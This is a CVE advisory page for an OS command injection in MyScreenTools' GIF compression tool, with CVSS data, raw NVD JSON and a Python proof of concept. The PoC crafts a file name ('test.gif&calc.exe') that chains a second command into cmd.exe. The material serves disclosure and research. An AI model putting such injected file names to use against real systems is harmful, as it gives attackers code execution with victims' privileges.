Security Vulnerability Report
中文
CVE-2025-63916 CVSS 8.1 HIGH

CVE-2025-63916

Published: 2025-11-17 16:15:51
Last Modified: 2026-01-16 21:23:36

Description

MyScreenTools v2.2.1.0 contains a critical OS command injection vulnerability in the GIF compression tool. The application fails to properly sanitize user-supplied file paths before passing them to cmd.exe, allowing attackers to execute arbitrary system commands with the privileges of the user running the application. The vulnerability exists in the CMD() function within GIFSicleTool\Form_gif_sicle_tool.cs, which constructs shell commands by concatenating unsanitized user input (file paths) and executes them via cmd.exe.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:luotengyuan:myscreentools:*:*:*:*:*:*:*:* - VULNERABLE
MyScreenTools v2.2.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import subprocess import sys # CVE-2025-63916 PoC - MyScreenTools GIF Compression OS Command Injection # This PoC demonstrates how to trigger the command injection vulnerability def generate_malicious_filename(): """ Generate a malicious GIF filename with command injection payload """ # The payload uses & to chain commands after the file path is processed # This will execute calc.exe after the legitimate GIF processing command malicious_filename = "test.gif&calc.exe" return malicious_filename def create_malicious_file(filename): """ Create a file with the malicious name to trigger the vulnerability """ try: # Create an empty file or a valid GIF header with open(filename, 'wb') as f: # Minimal GIF89a header to pass basic validation f.write(b'GIF89a\x01\x00\x01\x00\x00\x00\x00;') print(f"[+] Created malicious file: {filename}") return True except Exception as e: print(f"[-] Error creating file: {e}") return False def simulate_vulnerable_code(file_path): """ Simulate the vulnerable code pattern found in Form_gif_sicle_tool.cs This demonstrates how the injection occurs """ # VULNERABLE CODE PATTERN (as found in the source) # string cmd = $"cmd.exe /c gifsicle.exe --output \"{output_path}\" \"{file_path}\""; # Process.Start(cmd); # In the vulnerable implementation, user input is directly concatenated # without sanitization, allowing command injection via special characters # Example of what the vulnerable code might look like: vulnerable_cmd = f'cmd.exe /c gifsicle.exe --output "output.gif" "{file_path}"' print(f"[*] Vulnerable command constructed: {vulnerable_cmd}") print("[*] The & character causes command injection, executing additional commands") # In a real attack scenario, this would be executed via Process.Start() # subprocess.run(vulnerable_cmd, shell=True) # DANGEROUS - DO NOT RUN def demonstrate_injection(): """ Demonstrate the command injection vulnerability """ print("=" * 60) print("CVE-2025-63916 PoC - MyScreenTools OS Command Injection") print("=" * 60) # Generate malicious filename malicious_name = generate_malicious_filename() print(f"\n[+] Malicious filename: {malicious_name}") # Create the malicious file if create_malicious_file(malicious_name): # Show how the vulnerable code would process this simulate_vulnerable_code(malicious_name) print("\n[!] Attack scenario:") print(" 1. Attacker crafts a malicious GIF filename with command injection") print(" 2. Victim uses MyScreenTools GIF compression on this file") print(" 3. The vulnerable CMD() function executes injected commands") print(" 4. Attacker gains code execution with victim's privileges") # Cleanup try: os.remove(malicious_name) print(f"\n[+] Cleaned up: {malicious_name}") except: pass if __name__ == "__main__": demonstrate_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63916", "sourceIdentifier": "[email protected]", "published": "2025-11-17T16:15:50.700", "lastModified": "2026-01-16T21:23:35.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyScreenTools v2.2.1.0 contains a critical OS command injection vulnerability in the GIF compression tool. The application fails to properly sanitize user-supplied file paths before passing them to cmd.exe, allowing attackers to execute arbitrary system commands with the privileges of the user running the application. The vulnerability exists in the CMD() function within GIFSicleTool\\Form_gif_sicle_tool.cs, which constructs shell commands by concatenating unsanitized user input (file paths) and executes them via cmd.exe."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:luotengyuan:myscreentools:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2.1.0", "matchCriteriaId": "3C10E4CB-8181-4933-B9A6-7911F777EB06"}]}]}], "references": [{"url": "https://github.com/cydtseng/Vulnerability-Research/blob/main/myscreentools/OSCommandInjection-GifCompression.md", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}, {"url": "https://github.com/luotengyuan/MyScreenTools/blob/master/GIFSicleTool/Form_gif_sicle_tool.cs", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/luotengyuan/MyScreenTools/tree/master", "source": "[email protected]", "tags": ["Product"]}]}}